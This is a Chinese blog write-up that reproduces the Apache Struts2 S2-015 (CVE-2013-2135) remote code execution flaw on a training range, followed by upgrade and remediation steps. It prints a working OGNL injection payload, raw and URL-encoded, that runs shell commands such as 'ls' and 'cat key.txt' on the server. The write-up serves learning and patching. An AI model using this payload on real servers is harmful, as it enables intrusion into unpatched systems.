Apache Struts2远程代码执行漏洞(S2-015)复现及修复方案 「建议收藏」

Apache Struts2远程代码执行漏洞(S2-015)复现及修复方案 「建议收藏」ApacheStruts2远程代码执行漏洞(S2-015)介绍ApacheStruts2是用于开发JavaEEWeb应用程序的开源Web应用框架。ApacheStruts2.0.0至2.

大家好,又见面了,我是你们的朋友全栈君。

Apache Struts2远程代码执行漏洞(S2-015)介绍

Apache Struts 2是用于开发JavaEE Web应用程序的开源Web应用框架。Apache Struts 2.0.0至2.3.14.2版本中存在远程命令执行漏洞。远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL代码两次)的请求,利用该漏洞执行任意OGNL代码。

影响版本:2.0.0至2.3.14.2版本。

CVE编号:CVE-2013-2135

Apache Struts2远程代码执行漏洞(S2-015)复现

原本说自己搭建一个环境演示一下漏洞,后来想起来墨者学院(https://www.mozhe.cn/)里面有一些漏洞靶场环境,找了找还真的有(~ ̄▽ ̄)~。

打开靶机:

image

虽然我们知道这是含有Apache Struts2远程代码执行漏洞(S2-015)的靶机,不过我们还是按照正常步骤来测试一下,我用的是Struts2-Scan扫描工具,在此附上下载链接和使用方法(https://github.com/HatBoy/Struts2-Scan)。

注意:使用时要求 Python3.6.X及其以上版本。

运行:

image

开始扫描:

image

发现存在S2-012,S2-046,S2-015漏洞。我在网上看到不少在这里就转到了利用S2-46漏洞直接接行了命令执行或shell上传,说好的S2-015漏洞呢!!就像下面这样。直接就可以找到key:

image

在这里我们通过写入exp的方式利用S2-015漏洞。

${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action

当然,要经过url编码才能使用:

/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action

image

上图我们发现存在key.txt文件,读取他就可以了,输入:

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action

image

这样,key就出来了。当然我们的目的并不是得到key,只是要复现一下S2-015漏洞,体现一下这个漏洞的危害,下面我讲述一下如何修复这个漏洞。
Apache Struts2远程代码执行漏洞(S2-015)修复

Apache Struts2远程代码执行漏洞(S2-015)修复

注意

更新Struts版本可能出现兼容性问题,导致业务无法正常运行。
需要重启Tomcat
升级前,建议备份旧版Struts项目目录

修复流程

确定Struts版本 > 下载新版Struts库并校验SHA256 > 备份Struts库 > 删除旧版Struts库 > 替换 新版Struts库 > 验证修复结果 > 完成

步骤一:确定Struts版本

先确定Struts应用根路径(下面简写为root_dir),如:D:\apache-tomcat-7.0.103\webapps\struts2-showcase,然后找到root_dir\WEB-INF\lib\struts2-core-x.x.x.jar,其中x.x.x 即为版本号。如图:Struts版本为2.3.37:

image

步骤二:下载新版Struts库并校验SHA256

原本2.3以下版本的用户请下载2.3.37或以上的包,原本2.5以上版本的用户请下载2.5.22或以上的包。(注意:通过以下链接下载Struts库需要到外网,无法下载的用户可前往官网下载最新版: https://struts.apache.org/download.cgi)

下载链接如下:
2.3.37版本:
https://archive.apache.org/dist/struts/2.3.37/struts-2.3.37-min-lib.zip
2.5.22版本:
https://archive.apache.org/dist/struts/2.5.22/struts-2.5.22-min-lib.zip

打开cmd命令提示符,执行命令,得到文件SHA256。certutil -hashfile 文件路径 SHA256

例如:certutil -hashfile D:\sain\struts-2.3.37.min-lib.zip SHA256

如果得到的SHA256与下面的SHA256值一致,则下载正确

2.3.37 版本:22f09a1c4cdb760fa13f3e36a84f53682201924f63c65d265ec42ea6dc5e5f53

2.5.22 版本:8da7f12b3525abb0f074b95c90e447b590166ba6baefba776b01584562d07148

步骤三:备份旧版Struts库

备份root_dir\WEB-INF\lib目录

步骤四:删除旧版Struts库

2.3.x及以下版本需要删除的包如下:(不存在的就忽略)

commons-fileupload-xxx.jar

commons-io-xx.jar

commons-lang3-xx.jar(注意是commons-lang3而不是commons-lang)

commons-logging-xxx.jar

freemarker-xxx.jar

javassist-xxx.GA.jar

ognl-xxx.jar

struts2-core-xxx.jar

xwork-core-xxx.jar或xwork-xxx.jar??

2.5.x需要删除的包如下:(不存在的就忽略)

commons-fileupload-xxx.jar

commons-io-xx.jar

commons-lang3-xx.jar(注意是commons-lang3而不是commons-lang)

freemarker-xxx.jar或freemarker-xxx-incubating.jar??

javassist-xxx-GA.jar

log4j-api-xxx.jar

ognl-xxx.jar

struts2-core-xxx.jar

步骤五:替换新版Struts库

将新包中lib目录的jar包,复制到Struts项目的lib目录中(即D:\apache-tomcat- 7.0.103\webapps\struts2-showcase\WEB-INF\lib)

步骤六:重启Tomcat

修复完成,请检查所有业务是否正常!

Apache Struts2远程代码执行漏洞(S2-015)防护

因为更新需要重启Tomcat,对于正在进行业务的服务器来说是不方便的,所以如果在边界配有防火墙,可以配置相应的策略进行封堵。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/154412.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 使用tcping命令ping指定端口「建议收藏」

    使用tcping命令ping指定端口「建议收藏」ping是简单的测试网络连接情况的小工具,对于一般用户很实用,但是ping有个缺点就是,不能指定端口,同时如果源地址禁ping的话,ping命令就形同虚设。——前言tcping命令是针对tcp监控的,也可以看到ping值,即使源地址禁ping也可以通过tcping来监控服务器网络状态,除了简单的ping之外,tcping最大的一个特点就是可以指定监控的端口。tcping命令使用方法很简单下载

    2022年6月23日
    45
  • 四轴飞行器原理图详解(三旋翼飞行器)

    顾名思义,四轴飞行器由四个螺旋桨高速旋转产生升力,为其提供飞行动力。四个电机转向正反各两个,可以相互抵消反扭矩。不同于常规固定翼飞机,多旋翼无人机属于静不稳定系统,因此必须依赖于强大的飞控系统才能飞行。四轴飞行器可分为“十字型”和“X型”,其中“十字型”机动性强主要应用在穿越机或特技表演无人机;“X型”稳定性强,是最常见的四轴飞行器构型。本文中所介绍的飞控系统都是基于“X型”四轴飞

    2022年4月17日
    95
  • python画爱心[通俗易懂]

    python画爱心[通俗易懂]importturtleimporttime#清屏函数defclear_all():turtle.penup()turtle.goto(0,0)turtle.color(‘white’)turtle.pensize(800)turtle.pendown()turtle.setheading(0)turtle…

    2025年9月30日
    2
  • error opening registry key ‘software\Javasoft\Java Runtime Environment'[通俗易懂]

    error opening registry key ‘software\Javasoft\Java Runtime Environment'[通俗易懂]error opening registry key ‘software\Javasoft\Java Runtime Environment’

    2022年4月23日
    99
  • lstm怎么预测长时间序列_时间序列预测代码

    lstm怎么预测长时间序列_时间序列预测代码写在前面LSTM模型的一个常见用途是对长时间序列数据进行学习预测,例如得到了某商品前一年的日销量数据,我们可以用LSTM模型来预测未来一段时间内该商品的销量。但对于不熟悉神经网络或者对没有了解过RNN模型的人来说,想要看懂LSTM模型的原理是非常困难的,但有些时候我们不得不快速上手搭建一个LSTM模型来完成预测任务。下面我将对一个真实的时间序列数据集进行LSTM模型的搭建,不加入很多复杂的功能,快速的完成数据预测功能。问题大概如下:某煤矿有一个监测井,我们每20分钟获…

    2025年10月22日
    2
  • tar 解压缩命令详解

    tar 解压缩命令详解以下是对tar命令的一些总结:解压操作:tar解压缩命令详解这五个是独立的命令,压缩解压都要用到其中一个,可以和别的命令连用但只能用其中一个。下面的参数是根据需要在压缩或解压档案时可选的。下

    2022年7月1日
    26

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号